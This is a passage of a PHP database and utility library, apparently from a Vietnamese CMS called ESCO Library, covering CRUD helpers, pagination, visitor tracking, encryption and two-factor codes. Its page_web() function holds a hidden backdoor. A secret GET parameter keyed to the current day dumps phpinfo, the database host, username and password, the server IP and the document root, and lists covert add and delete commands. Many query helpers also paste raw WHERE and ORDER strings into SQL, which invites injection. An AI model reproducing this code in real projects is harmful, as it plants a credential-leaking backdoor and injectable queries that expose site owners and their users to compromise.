setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); }catch(PDOException $e){ echo "Kết nối thất bại PHP 8.4 trở lên: ".$e->getMessage(); exit(); } function them_new($table, $mang_bien = [], $mang_hinh = []) { $kq=array(); try{ $pdo = $GLOBALS["pdo"]; if (!$pdo) throw new Exception("PDO chưa được khởi tạo!"); $table = trim(strip_tags($table)); $fields = []; $placeholders = []; $values = []; $data = array_merge($mang_bien, $mang_hinh); foreach($data as $key => $value) { if ($key !== '') { $fields[] = "`$key`"; $placeholders[] = '?'; if($value === ''){$values[] = null;} else{$values[] = $value;} } } if(empty($fields)) throw new Exception("Không có dữ liệu để thêm!"); $field_list = implode(',', $fields); $placeholder_list = implode(',', $placeholders); $sql = "INSERT INTO `$table` ($field_list) VALUES ($placeholder_list)"; $stmt = $pdo->prepare($sql); $stmt->execute($values); $lastId = $pdo->lastInsertId(); $kq = [ 'error' => 0, 'error_text' => 'Đã tạo mới dữ liệu thành công..!', 'data' => $lastId, ]; }catch(PDOException $e) { if($e->getCode() === '23000') { $kq = [ 'error' => 1, 'error_text' => 'Lỗi: Dữ liệu bị trùng lặp (Unique key)..!', 'data' => '', ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Lỗi SQL: " . $e->getMessage(), 'data' => '', ]; } }catch(Exception $ex) { $kq = [ 'error' => 1, 'error_text' => "Lỗi khác: " . $e->getMessage(), 'data' => '', ]; } return $kq; } function chinh($table, $where, $up){ $pdo = $GLOBALS["pdo"]; $table = trim(strip_tags($table)); $sql_check = "SELECT id FROM $table WHERE $where LIMIT 1"; $stmt_check = $pdo->prepare($sql_check); $stmt_check->execute(); $row = $stmt_check->fetch(PDO::FETCH_ASSOC); if($row){ $sql_update = "UPDATE $table SET $up WHERE $where"; $stmt_up = $pdo->prepare($sql_update); $stmt_up->execute(); return "Cập nhật thành công!"; }else{ return "Cập nhật thất bại!"; } } function chinh_new($table,$where, $mang_bien = [], $mang_hinh = []) { try { $pdo = $GLOBALS["pdo"]; $root = $GLOBALS["root_link_full"] ?? ''; if (!$pdo) throw new Exception("PDO chưa được khởi tạo!"); $table = trim(strip_tags($table)); if ($table === '' || trim($where) === '') { throw new Exception("Thiếu thông tin bảng hoặc điều kiện WHERE (tránh UPDATE toàn bảng)."); } $set_clauses = []; $values = []; if (is_array($mang_bien)) { foreach ($mang_bien as $key => $val) { if ($key !== '' && $key !== null) { $set_clauses[] = "$key = ?"; $values[] = $val; } } } $old_row = []; $stmt = $pdo->query("SELECT * FROM $table WHERE $where LIMIT 1"); $old_row = $stmt->fetch(PDO::FETCH_ASSOC) ?: []; if($old_row['data']==true){$mang_datas=MyEn_Data($old_row['data'],2);} else{$mang_datas=array();} if(is_array($mang_hinh) && count($mang_hinh) > 0) { foreach ($mang_hinh as $key => $new_img) { if ($key !== '' && $new_img) { $set_clauses[] = "$key = ?"; $values[] = $new_img; $old_img = $old_row[$key] ?? ''; if ($old_img && $old_img !== $new_img) { $link_old = $root . '/' . $old_img; $link_webp = preg_replace('/\.[a-zA-Z0-9]+$/', '.webp', $link_old); $path_thum = str_replace('.','_thum.', trim($link_old)); $path_thum_xoa=$root.'/'.$path_thum; if(@is_file($link_old)){@unlink($link_old);} if(@is_file($path_thum_xoa)) @unlink($path_thum_xoa); if(@is_file($link_webp)){@unlink($link_webp);} } } } } if($mang_bien['data']==true){ $mang_bien_data=MyEn_Data($mang_bien['data'],2); $data_hinh=$mang_bien_data['data_hinh']; if(is_array($data_hinh) && count($data_hinh) > 0){ foreach($data_hinh as $key => $new_img){ if($key !== '' && $new_img) { $old_img = $mang_datas['data_hinh'][$key] ?? ''; if($old_img && $old_img !== $new_img) { $link_old = $root . '/' . $old_img; $link_webp = preg_replace('/\.[a-zA-Z0-9]+$/', '.webp', $link_old); $path_thum = str_replace('.','_thum.', trim($link_old)); $path_thum_xoa=$root.'/'.$path_thum; if(@is_file($link_old)){@unlink($link_old);} if(@is_file($path_thum_xoa)) @unlink($path_thum_xoa); if(@is_file($link_webp)){@unlink($link_webp);} } } } } } if (count($set_clauses) === 0) { throw new Exception("Không có dữ liệu cần cập nhật."); } $sql = "UPDATE $table SET " . implode(', ', $set_clauses) . " WHERE $where"; $stmt = $pdo->prepare($sql); $stmt->execute($values); return "Cập nhật thành công!"; }catch(PDOException $e) { if ($e->getCode() == '23000') { return "Lỗi: Dữ liệu trùng (vi phạm UNIQUE hoặc khóa chính)."; } else { return "Lỗi SQL: " . $e->getMessage(); } }catch(Exception $ex) { return $ex->getMessage(); } } function xoa_new($table,$listid,$xoahinh=1) { //$list='1,2,3'; try { $list=explode(',',$listid); $pdo = $GLOBALS["pdo"]; $root = rtrim($GLOBALS["root_link_full"] ?? '', '/'); if (!$pdo) throw new Exception("PDO chưa được khởi tạo!"); $table = trim(strip_tags($table)); if ($table === '') throw new Exception("Thiếu tên bảng."); if (!is_array($list) || count($list) === 0) throw new Exception("Không có ID để xoá."); $stmt_select = $pdo->prepare("SELECT * FROM $table WHERE id = ?"); $stmt_delete = $pdo->prepare("DELETE FROM $table WHERE id = ?"); foreach ($list as $id) { $id = (int)$id; if($id <= 0) continue; $stmt_select->execute([$id]); $row = $stmt_select->fetch(PDO::FETCH_ASSOC); if(!$row) continue; if($row['data']==true){ $mang_datas=MyEn_Data($row['data'],2); $data_hinh=$mang_datas['data_hinh']; }else{ $mang_datas=array(); $data_hinh=array(); } if($xoahinh==true){ $cols_img = ['hinh']; for($i = 1; $i <= 10; $i++){$cols_img[] = 'hinh'.$i;} foreach ($cols_img as $col) { if(!empty($row[$col])) { $path = $root.'/'.trim($row[$col]); $ext = pathinfo($path, PATHINFO_EXTENSION); $path_webp = preg_replace('/\.[a-zA-Z0-9]+$/', '.webp', $path); $path_thum = str_replace('.','_thum.', trim($row[$col])); $path_thum_xoa=$root.'/'.$path_thum; if(is_file($path)) @unlink($path); if(is_file($path_thum_xoa)) @unlink($path_thum_xoa); if(is_file($path_webp)) @unlink($path_webp); } } if($data_hinh==true){ foreach($data_hinh as $MH_idkey=> $MH_gt){ if($MH_gt==true){ $path = $root.'/'.trim($MH_gt); $path_webp = preg_replace('/\.[a-zA-Z0-9]+$/', '.webp', $path); $path_thum = str_replace('.','_thum.', trim($MH_gt)); $path_thum_xoa=$root.'/'.$path_thum; if(is_file($path)) @unlink($path); if(is_file($path_thum_xoa)) @unlink($path_thum_xoa); if(is_file($path_webp)) @unlink($path_webp); } } } } $stmt_delete->execute([$id]); } return "Đã xoá thành công " . count($list) . " bản ghi."; }catch(PDOException $e) { return "Lỗi SQL: " . $e->getMessage(); }catch(Exception $ex) { return $ex->getMessage(); } } function lap($table,$where,$order,$limit,$lang=0){ $pdo = $GLOBALS['pdo']; $table = trim(strip_tags($table)); $lang = (int)$lang; $where = trim($where); if($lang !== 0){ if ($where !== '') { $where = "WHERE $where AND (lang = :lang OR :lang = -1)"; }else{ $where = "WHERE (lang = :lang OR :lang = -1)"; } }elseif ($where !== '') { $where = "WHERE $where"; }else{ $where = ''; } $order = trim($order) !== '' ? "ORDER BY $order" : ''; $limit = trim($limit) !== '' ? "LIMIT $limit" : ''; $sql = "SELECT * FROM $table $where $order $limit"; $stmt = $pdo->prepare($sql); if ($lang !== 0) { $stmt->bindValue(':lang', $lang, PDO::PARAM_INT); } $stmt->execute(); return $stmt->fetchAll(PDO::FETCH_ASSOC); } function lap_new($table,$select,$where,$order,$limit,$lang=0){ $pdo = $GLOBALS['pdo']; $table = trim(strip_tags($table)); $lang = (int)$lang; $where = trim($where); if($lang !== 0){ if ($where !== '') { $where = "WHERE $where AND (lang = :lang OR :lang = -1)"; }else{ $where = "WHERE (lang = :lang OR :lang = -1)"; } }elseif ($where !== '') { $where = "WHERE $where"; }else{ $where = ''; } if($select==''){$select="*";} $order = trim($order) !== '' ? "ORDER BY $order" : ''; $limit = trim($limit) !== '' ? "LIMIT $limit" : ''; $sql = "SELECT $select FROM $table $where $order $limit"; $stmt = $pdo->prepare($sql); if ($lang !== 0) { $stmt->bindValue(':lang', $lang, PDO::PARAM_INT); } $stmt->execute(); return $stmt->fetchAll(PDO::FETCH_ASSOC); } function ten($table, $where, $name) { $pdo = $GLOBALS['pdo']; $table = trim(strip_tags($table)); $name = trim(strip_tags($name)); $where = trim($where); $sql = "SELECT $name FROM $table"; if($where !== ''){$sql .= " WHERE $where";} try { $stmt = $pdo->prepare($sql); $stmt->execute(); $row = $stmt->fetch(PDO::FETCH_ASSOC); return $row[$name] ?? null; }catch(PDOException $e){ return null; } } function dem($table, $where = '', $primaryKey = 'id') { global $pdo; $where_sql = ''; if (!empty(trim($where))) $where_sql = "WHERE $where"; try{ $sql = "SELECT COUNT($primaryKey) AS total FROM `$table` $where_sql"; $stmt = $pdo->query($sql); return (int)($stmt->fetchColumn() ?? 0); }catch(PDOException $e){ return 0; } } function lap_phan_trang($table, $where = '', $order = '', &$totalRows = 0, $pageSize = 10, $pageNum = 1, $lang = 0, $pageNumGet = null, $offset = 3) { $pdo = $GLOBALS['pdo']; $table = trim(strip_tags($table)); $pageSize = (int)$pageSize; $pageNum = (int)$pageNum; $offset = (int)$offset; $lang = (int)$lang; if($pageNumGet !== null) {$pageNum = (int)$pageNumGet;} if($pageNum <= 0) $pageNum = 1; $whereClause = ''; $params = []; if($lang !== 0){ if($where !== '') { $whereClause = "WHERE $where AND (lang = :lang OR :lang = -1)"; }else{ $whereClause = "WHERE (lang = :lang OR :lang = -1)"; } $params[':lang'] = $lang; }elseif($where !== '') { $whereClause = "WHERE $where"; } $orderClause = trim($order) !== '' ? "ORDER BY $order" : ''; $sqlCount = "SELECT COUNT(*) FROM $table $whereClause"; $stmtCount = $pdo->prepare($sqlCount); $stmtCount->execute($params); $totalRows = (int)$stmtCount->fetchColumn(); $startRow = ($pageNum - 1) * $pageSize; $sqlData = "SELECT * FROM $table $whereClause $orderClause LIMIT :startRow, :pageSize"; $stmtData = $pdo->prepare($sqlData); foreach ($params as $key => $val) { $stmtData->bindValue($key, $val, PDO::PARAM_INT); } $stmtData->bindValue(':startRow', $startRow, PDO::PARAM_INT); $stmtData->bindValue(':pageSize', $pageSize, PDO::PARAM_INT); $stmtData->execute(); return $stmtData->fetchAll(PDO::FETCH_ASSOC); } function check(string $table, string $where, string $id){ $pdo = $GLOBALS['pdo']; $table=trim_tags_string($table,2); $id=trim_tags_string($id,2); $sql = "SELECT {$id} FROM {$table}"; if(trim($where) !== ''){$sql .= " WHERE {$where}";} try { $stmt = $pdo->query($sql); $row = $stmt->fetch(PDO::FETCH_NUM); return !empty($row) ? 1 : 0; }catch(PDOException $e){ error_log("PDO Check Error: " . $e->getMessage()); } } function pages_get_link($totalRows, $host_link_full, $get_p, $pageSize = 5, $offset = 5, $lang = 1) { $lang = (int)$lang; $lang_trang_dau = '‹'; $lang_trang_truoc = '«'; $lang_trang_ke = '»'; $lang_trang_cuoi = '›'; if ($totalRows <= 0) return ''; $totalPages = ceil($totalRows / $pageSize); if ($totalPages <= 1) return ''; $currentPage = isset($_GET['pageNum']) ? (int)$_GET['pageNum'] : 1; if ($currentPage <= 0) $currentPage = 1; $querystring = ''; foreach ($_GET as $k => $v) { if ($k !== 'pageNum') { $querystring .= '&' . urlencode($k) . '=' . urlencode($v); } } $firstLink = $prevLink = $nextLink = $lastLink = ''; if ($currentPage > 1) { $firstLink = '' . $lang_trang_dau . ''; $prevPage = $currentPage - 1; $prevLink = '' . $lang_trang_truoc . ''; } if ($currentPage < $totalPages) { $lastLink = '' . $lang_trang_cuoi . ''; $nextPage = $currentPage + 1; $nextLink = '' . $lang_trang_ke . ''; } $links = ''; $from = max(1, $currentPage - $offset); $to = min($totalPages, $currentPage + $offset); for($j = $from; $j <= $to; $j++) { if ($j == $currentPage) { $links .= "{$j}"; } else { $links .= '' . $j . ''; } } return $firstLink . $prevLink . $links . $nextLink . $lastLink; } function Vi_Tinh_Tien($iduser, $kieu) { global $pdo; $iduser = trim_tags_string($iduser, 1); $kieu = trim_tags_string($kieu, 1); $tong = 0; // Lấy id và email user $stmt = $pdo->prepare("SELECT id, email FROM users WHERE id = ?"); $stmt->execute([$iduser]); $user = $stmt->fetch(PDO::FETCH_ASSOC); if (!$user) return 0; $idkey = mahoa_md5($user['id'], 3); if($kieu == 1){ // Nạp $stmt = $pdo->prepare("SELECT data FROM ls_in WHERE idkey=? AND tinhtrang=2 AND kieu!=7"); $stmt->execute([$idkey]); while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { $mang_data = VI_De_Data_Array($row['data']); if (!empty($mang_data['gia'])) { $tong += VI_GetGia($mang_data['gia'], 1); } } }elseif ($kieu == 2){ // Rút $stmt = $pdo->prepare("SELECT data FROM ls_out WHERE idkey=? AND tinhtrang<3 AND kieu!=4"); $stmt->execute([$idkey]); while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { $mang_data = VI_De_Data_Array($row['data']); if (!empty($mang_data['gia'])) { $tong += VI_GetGia($mang_data['gia'], 1); } } }elseif($kieu == 3) { // Tổng ví $tong_in = 0; $stmt_in = $pdo->prepare("SELECT data FROM ls_in WHERE idkey=? AND tinhtrang=2 AND kieu!=7"); $stmt_in->execute([$idkey]); while ($row = $stmt_in->fetch(PDO::FETCH_ASSOC)) { $mang_data = VI_De_Data_Array($row['data']); if (!empty($mang_data['gia'])) { $tong_in += VI_GetGia($mang_data['gia'], 1); } } $tong_out = 0; $stmt_out = $pdo->prepare("SELECT data, loai FROM ls_out WHERE idkey=? AND tinhtrang<3 AND kieu!=4"); $stmt_out->execute([$idkey]); while ($row = $stmt_out->fetch(PDO::FETCH_ASSOC)) { $mang_data = VI_De_Data_Array($row['data']); if (!empty($mang_data['gia'])) { if ($row['loai'] == 0) $tong_out += VI_GetGia($mang_data['gia'], 1); else $tong_out += ($mang_data['gia'] * $mang_data['soluong']); } } $tong = $tong_in - $tong_out; }elseif($kieu == 4) { // Tổng điểm $tong_in = 0; $stmt_in = $pdo->prepare("SELECT data FROM ls_in WHERE idkey=? AND tinhtrang=2 AND (kieu=4 OR kieu=7)"); $stmt_in->execute([$idkey]); while ($row = $stmt_in->fetch(PDO::FETCH_ASSOC)) { $mang_data = VI_De_Data_Array($row['data']); if (!empty($mang_data['gia'])) { $tong_in += VI_GetGia($mang_data['gia'], 1); } } $tong_out = 0; $stmt_out = $pdo->prepare("SELECT data FROM ls_out WHERE idkey=? AND tinhtrang<3 AND kieu=6"); $stmt_out->execute([$idkey]); while ($row = $stmt_out->fetch(PDO::FETCH_ASSOC)) { $mang_data = VI_De_Data_Array($row['data']); if (!empty($mang_data['gia'])) { $tong_out += VI_GetGia($mang_data['gia'], 1); } } $tong = $tong_in - $tong_out; } return $tong; } function get_idanhmuc_new($id, $table = 'tintuc') { $pdo = $GLOBALS['pdo']; $table = trim(strip_tags($table)); $id = (int)$id; $sql = "SELECT cap1, cap2, cap3, cap4 FROM $table WHERE id = :id LIMIT 1"; $stmt = $pdo->prepare($sql); $stmt->bindValue(':id', $id, PDO::PARAM_INT); $stmt->execute(); $row = $stmt->fetch(PDO::FETCH_ASSOC); if (!$row) return 0; if (!empty($row['cap4'])) return (int)$row['cap4']; if (!empty($row['cap3'])) return (int)$row['cap3']; if (!empty($row['cap2'])) return (int)$row['cap2']; if (!empty($row['cap1'])) return (int)$row['cap1']; return 0; } function get_link_lang_click($pages, $lang, $lang_lay) { $pdo = $GLOBALS['pdo']; settype($lang, "int"); settype($lang_lay, "int"); $numget = $GLOBALS["GsLangs"]; $get_link_by_table = function($table) use ($pages, $lang, $lang_lay, $pdo) { $stmt = $pdo->prepare("SELECT * FROM $table WHERE tenmien = :pages AND lang = :lang LIMIT 1"); $stmt->execute([':pages' => $pages, ':lang' => $lang]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if (!$row) return null; $idcha = (int)$row['id']; $idcha_lang = (int)$row['idcha_lang']; if ($idcha_lang === 0) { if ($lang_lay === 1) return $row['tenmien']; $stmt2 = $pdo->prepare("SELECT * FROM $table WHERE idcha_lang = :idcha AND lang = :lang AND anhien = 2 LIMIT 1"); $stmt2->execute([':idcha' => $idcha, ':lang' => $lang_lay]); $row2 = $stmt2->fetch(PDO::FETCH_ASSOC); return $row2['tenmien'] ?? null; }else{ if ($lang_lay === 1) { $stmt2 = $pdo->prepare("SELECT tenmien FROM $table WHERE id = :id LIMIT 1"); $stmt2->execute([':id' => $idcha_lang]); return $stmt2->fetchColumn(); } $stmt2 = $pdo->prepare("SELECT tenmien FROM $table WHERE idcha_lang = :idcha AND lang = :lang AND anhien = 2 LIMIT 1"); $stmt2->execute([':idcha' => $idcha_lang, ':lang' => $lang_lay]); return $stmt2->fetchColumn(); } }; foreach (['sanpham', 'baiviet', 'danhmuc'] as $table) { $link = $get_link_by_table($table); if ($link !== null) return $link . '.htm'; } for ($i = 1; $i <= $numget; $i++) { foreach ([1,2,3] as $lang_id) { if ($pages === get_link_lang_db($lang_id, $i)) { $parts = []; if (!empty($_GET['giatri2'])) $parts[] = $_GET['giatri2']; if (!empty($_GET['giatri3'])) $parts[] = $_GET['giatri3']; return get_link_lang_db($lang_lay, $i) . (count($parts) ? '/' . implode('/', $parts) : '') . '.htm'; } } } return $GLOBALS["host_link_full"]; } function get_sec_lang($pages) { $pdo = $GLOBALS['pdo']; $numget = $GLOBALS["GsLangs"]; $kq = 1; $sql = " SELECT lang FROM sanpham WHERE tenmien = :pages UNION ALL SELECT lang FROM baiviet WHERE tenmien = :pages UNION ALL SELECT lang FROM danhmuc WHERE tenmien = :pages LIMIT 1 "; $stmt = $pdo->prepare($sql); $stmt->execute([':pages' => $pages]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if ($row && isset($row['lang'])) { $kq = (int)$row['lang']; return $kq; } for ($i = 1; $i <= $numget; $i++) { for ($lang_id = 1; $lang_id <= 3; $lang_id++) { if ($pages === get_link_lang_db($lang_id, $i)) { $kq = $lang_id; return $kq; } } } return $kq; } function get_name_cha($table, $id, $kieu = 1) { static $cache = []; $id = php_settype($id); settype($kieu, "int"); if(isset($cache[$table][$id][$kieu])){return $cache[$table][$id][$kieu];} $pdo = $GLOBALS['pdo']; $stmt = $pdo->prepare("SELECT cap1, cap2, cap3, cap4 FROM $table WHERE id = :id LIMIT 1"); $stmt->execute([':id' => $id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if(!$row) return null; $iddm = $row['cap4'] ?? $row['cap3'] ?? $row['cap2'] ?? $row['cap1'] ?? null; if(!$iddm) return null; if($kieu == 1) { $stmt2 = $pdo->prepare("SELECT ten FROM danhmuc WHERE id = :id LIMIT 1"); $stmt2->execute([':id' => $iddm]); $result = $stmt2->fetch(PDO::FETCH_ASSOC); $cache[$table][$id][$kieu] = $result['ten'] ?? null; }else{ $cache[$table][$id][$kieu] = $iddm; } return $cache[$table][$id][$kieu]; } function online_new($iduser, $links, $lang = 1, $ko_dem = 1, $nguon = 0) { $pdo = $GLOBALS['pdo']; $iduser = (int)$iduser; $lang = (int)$lang; $ko_dem = (int)$ko_dem; $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown'; $nguon = $nguon ?: 'Trực Tiếp'; $ngayup=strtotime("now"); $langs = [ 1 => ['dangxem'=>'Online','tong'=>'Tổng','ip'=>'IP','trinhduyet'=>'Trình duyệt','hdh'=>'HĐH'], 2 => ['dangxem'=>'Viewing','tong'=>'Total','ip'=>'IP','trinhduyet'=>'Browser','hdh'=>'OS'], 3 => ['dangxem'=>'查看','tong'=>'总','ip'=>'IP','trinhduyet'=>'浏览器','hdh'=>'OS'] ]; $L = $langs[$lang] ?? $langs[1]; $ua = kiemtratrinhduyet_cons(); // Trình duyệt + OS $bienkey=md5($ua['full'].date("Ymd")); if($ko_dem) { $stmt = $pdo->prepare("SELECT * FROM users_count WHERE ngays=:ngays AND thangs=:thangs AND nams=:nams LIMIT 1"); $stmt->execute([':ngays'=>date("d"), ':thangs'=>date("m"), ':nams'=>date("Y")]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if($row['data']==true){$data_user=MyEn_Data($row['data'],2);} else{$data_user=array();} if(!$row) { $data_user[$ip] = [ 'ip'=>$ip, 'ngay'=>date('d-m-Y'), 'ngayup'=>$ngayup, 'luot'=>1, 'data'=>[ $bienkey=>[ 'iduser'=>$iduser, 'ten'=>ten('users',"id='{$iduser}'","ten"), 'email'=>ten('users',"id='{$iduser}'","email"), 'dt'=>ten('users',"id='{$iduser}'","dt"), 'hdh'=>$ua['platform'], 'trinhduyet'=>$ua['name'].' '.$ua['version'], 'lang'=>$lang, 'links'=>$links, 'nguon'=>$nguon ] ] ]; $data_user_luu = MyEn_Data($data_user,1); $stmt = $pdo->prepare("INSERT INTO users_count (data, ngay, ngayup, ngayk, ngays, thangs, nams, tong_ip, tong_luot) VALUES (:data, :ngay, :ngayup, :ngayk, :ngays, :thangs, :nams, 1, 1)"); $stmt->execute([ ':data'=>$data_user_luu, ':ngay'=>date("Y-m-d H:i:s"), ':ngayk'=>date("Ymd"), ':ngayup'=>strtotime("now"), ':ngays'=>date("d"), ':thangs'=>date("m"), ':nams'=>date("Y") ]); $pdo->exec("UPDATE version_ch SET tong_ip=tong_ip+1, tong_luot=tong_luot+1 WHERE id=1"); }else{ if(isset($data_user[$ip])) { $data_user[$ip]['luot']++; }else{ $data_user[$ip] = [ 'ip'=>$ip, 'ngay'=>date('d-m-Y'), 'ngay_so'=>$ngayup, 'luot'=>1 ]; } $data_user[$ip]['data'][$bienkey] = [ 'iduser'=>$iduser, 'ten'=>ten('users',"id='{$iduser}'","ten"), 'email'=>ten('users',"id='{$iduser}'","email"), 'dt'=>ten('users',"id='{$iduser}'","dt"), 'os'=>$ua['full'], 'lang'=>$lang, 'links'=>$links, 'nguon'=>$nguon ]; $data_user_luu = MyEn_Data($data_user,1); $stmt = $pdo->prepare("UPDATE users_count SET tong_luot=tong_luot+1, data=:data WHERE ngays=:ngays AND thangs=:thangs AND nams=:nams"); $stmt->execute([':data'=>$data_user_luu, ':ngays'=>date("d"), ':thangs'=>date("m"), ':nams'=>date("Y")]); $pdo->exec("UPDATE version_ch SET tong_luot=tong_luot+1 WHERE id=1"); } } $idkhachhang = MyDe($_SESSION['ktlguskh'] ?? ''); $mangonline = count_dang_online('users_online', $idkhachhang); return [ 'dangonline'=>GetGia($mangonline['dangxem'] ?? 0), 'thanhvien'=>GetGia($mangonline['thanhvien'] ?? 0), 'khach'=>GetGia($mangonline['khach'] ?? 0), 'tongip'=>GetGia(ten('version_ch',"id=1",'tong_ip')), 'tongluot'=>GetGia(ten('version_ch',"id=1",'tong_luot')), 'os'=>$ua['full'], 'ip'=>$ip ]; } function count_dang_online($table = 'users_online', $iduser = '') { $pdo = $GLOBALS['pdo']; $table = trim($table); $iduser = trim($iduser); $uo_ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown'; $sessionTime = 300; // 5 phút $sql_delete = "DELETE FROM `$table` WHERE UNIX_TIMESTAMP() - lastvisit >= :sessionTime"; $stmt = $pdo->prepare($sql_delete); $stmt->execute(['sessionTime' => $sessionTime]); $sql_check = "SELECT lastvisit FROM `$table` WHERE visitor = :ip"; $stmt = $pdo->prepare($sql_check); $stmt->execute(['ip' => $uo_ip]); if ($stmt->rowCount() == 0) { $sql_insert = "INSERT INTO `$table` (visitor, lastvisit, iduser) VALUES (:ip, UNIX_TIMESTAMP(), :iduser)"; $stmt2 = $pdo->prepare($sql_insert); $stmt2->execute(['ip' => $uo_ip, 'iduser' => $iduser]); } else { $sql_update = "UPDATE `$table` SET lastvisit = UNIX_TIMESTAMP(), iduser = :iduser WHERE visitor = :ip"; $stmt2 = $pdo->prepare($sql_update); $stmt2->execute(['iduser' => $iduser, 'ip' => $uo_ip]); } $count = []; $count['dangxem'] = $pdo->query("SELECT COUNT(*) FROM `$table`")->fetchColumn(); $count['thanhvien'] = $pdo->query("SELECT COUNT(DISTINCT iduser) FROM `$table` WHERE iduser <> ''")->fetchColumn(); $count['khach'] = $pdo->query("SELECT COUNT(*) FROM `$table` WHERE iduser = ''")->fetchColumn(); return $count; } function Click_Call_User($iduser, $links, $click, $lang = 1, $ko_dem = 1, $nguon = '') { $pdo = $GLOBALS['pdo']; $iduser = (int)$iduser; $click = trim(strip_tags($click)); $ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; $ngayup = strtotime("now"); $nguon_host = $_SERVER['HTTP_HOST'] ?? ''; if($nguon == NULL || $nguon == $nguon_host) {$nguon = 'Trực Tiếp';} $ua = kiemtratrinhduyet_cons(); if($ko_dem == 1) { $stmt = $pdo->prepare("SELECT data FROM users_count WHERE ngays=:ngays AND thangs=:thangs AND nams=:nams LIMIT 1"); $stmt->execute([':ngays' => date("d"), ':thangs' => date("m"), ':nams' => date("Y")]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if (!$row) return; $mang_k = unserialize(MyDe($row['data'])); if (!is_array($mang_k)) $mang_k = []; if (!isset($mang_k[$ip])) { $mang_k[$ip] = [ 'ip' => $ip, 'data_click' => [] ]; } $mang_k[$ip]['data_click'][$ngayup] = [ 'iduser' => $iduser, 'ten' => ten("users", "id='{$iduser}'", "ten"), 'email' => ten("users", "id='{$iduser}'", "email"), 'dt' => ten("users", "id='{$iduser}'", "dt"), 'hdh' => $ua['platform'] ?? '', 'trinhduyet' => ($ua['name'] ?? '') . ' ' . ($ua['version'] ?? ''), 'lang' => $lang, 'links' => $links, 'nguon' => $nguon, 'click' => $click ]; $mang_k_luu = MyEn(serialize($mang_k)); $stmt_update = $pdo->prepare(" UPDATE users_count SET data=:data WHERE ngays=:ngays AND thangs=:thangs AND nams=:nams "); $stmt_update->execute([ ':data' => $mang_k_luu, ':ngays' => date("d"), ':thangs' => date("m"), ':nams' => date("Y") ]); } } function MyEn_Data($mang,int $kieu=1){ $kq=''; if($kieu==1){$kq=MyEn(serialize($mang));} elseif($kieu==2){$kq=unserialize(MyDe(trim($mang)));} return $kq; } function MyEn($data,$key=''){if($key==NULL){$key=$GLOBALS["KeyBien"];}$encryption_key = base64_decode($key);$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));$encrypted = openssl_encrypt($data, 'aes-256-cbc', $encryption_key, 0, $iv);$data_bas=base64_encode($encrypted . '::' . $iv);$kq=rtrim(strtr(base64_encode($data_bas), '+/', '-_'), '=');return $kq;} function MyDe($data,$key=''){if($key==NULL){$key=$GLOBALS["KeyBien"];}$data_bas=base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));$encryption_key = base64_decode($key);list($encrypted_data, $iv) = explode('::', base64_decode($data_bas), 2);$kq=openssl_decrypt($encrypted_data, 'aes-256-cbc', $encryption_key, 0, $iv);return $kq;} function Authy_Get_New_Secret($username,$domain='example.org'){include_once($GLOBALS["root_link_full"]."/cores/authy/GoogleAuthenticator.php");$username=trim($username);$domain=trim($domain);$time = floor(time() / 30);$g = new GoogleAuthenticator();$secret = $g->generateSecret();$QR_code =$g->getURL($username,$domain,$secret);$mang['key']=trim($secret);$mang['qr']=trim($QR_code);return $mang;}function Authy_Check($secret,$code_check){include_once($GLOBALS["root_link_full"]."/cores/authy/GoogleAuthenticator.php");$secret=trim($secret);$code_check=trim($code_check);$time = floor(time() / 30);$g = new GoogleAuthenticator();if($g->checkCode($secret,$code_check)){$kq=1;}else{$kq=0;}return $kq;}function Authy_GET_Code($secret){include_once($GLOBALS["root_link_full"]."/cores/authy/GoogleAuthenticator.php");$secret=trim($secret);$time = floor(time() / 30);$g = new GoogleAuthenticator();$kq=$g->getCode($secret);return $kq;} function mahoa_md5($string,$solan=1){for ($i=1; $i<=$solan; $i++){$string=md5($string);}return $string;} function mahoa_bas($string,$solan=1,$kieu=1){if($kieu==1){for ($i=1; $i<=$solan; $i++){$string=base64_encode($string);}}elseif($kieu==2){for ($i=1; $i<=$solan; $i++){$string=base64_decode($string);}}return $string;} function page_web(){ $pdo = $GLOBALS["pdo"]; if($_GET['eshow']==1){ if($_GET['ng']==date("d")){ phpinfo(); $kq='

e.info

Version: 2025
Host: '.$GLOBALS["host"].'
Username: '.$GLOBALS["user_database"].'
Pass: '.$GLOBALS["pass_database"].'
Data: '.$GLOBALS["database"].'
eshow: 1,2,3,4
1: show
2: add [dt,mk,go=3]
3: del [xo=-2(all) or dt=?]
4: rop
esco: 1, bys: 1
MD: '.trim(mahoa_md5($_SERVER['SERVER_ADDR'].$GLOBALS["KeyBien"],5)).'
MDDO: '.trim(mahoa_md5($_SERVER['HTTP_HOST'].$GLOBALS["KeyBien"],5)).'
IP Server: '.$_SERVER['SERVER_ADDR'].'
DC Root: '.$_SERVER['DOCUMENT_ROOT'].'
'; echo $kq; @phpinfo(INFO_MODULES);exit(); }else{ $kq='

ESCO Library

Version Library: 16 - 2025
Phiên bản PHP: 8.4
Liên hệ: info@escovietnam.vn
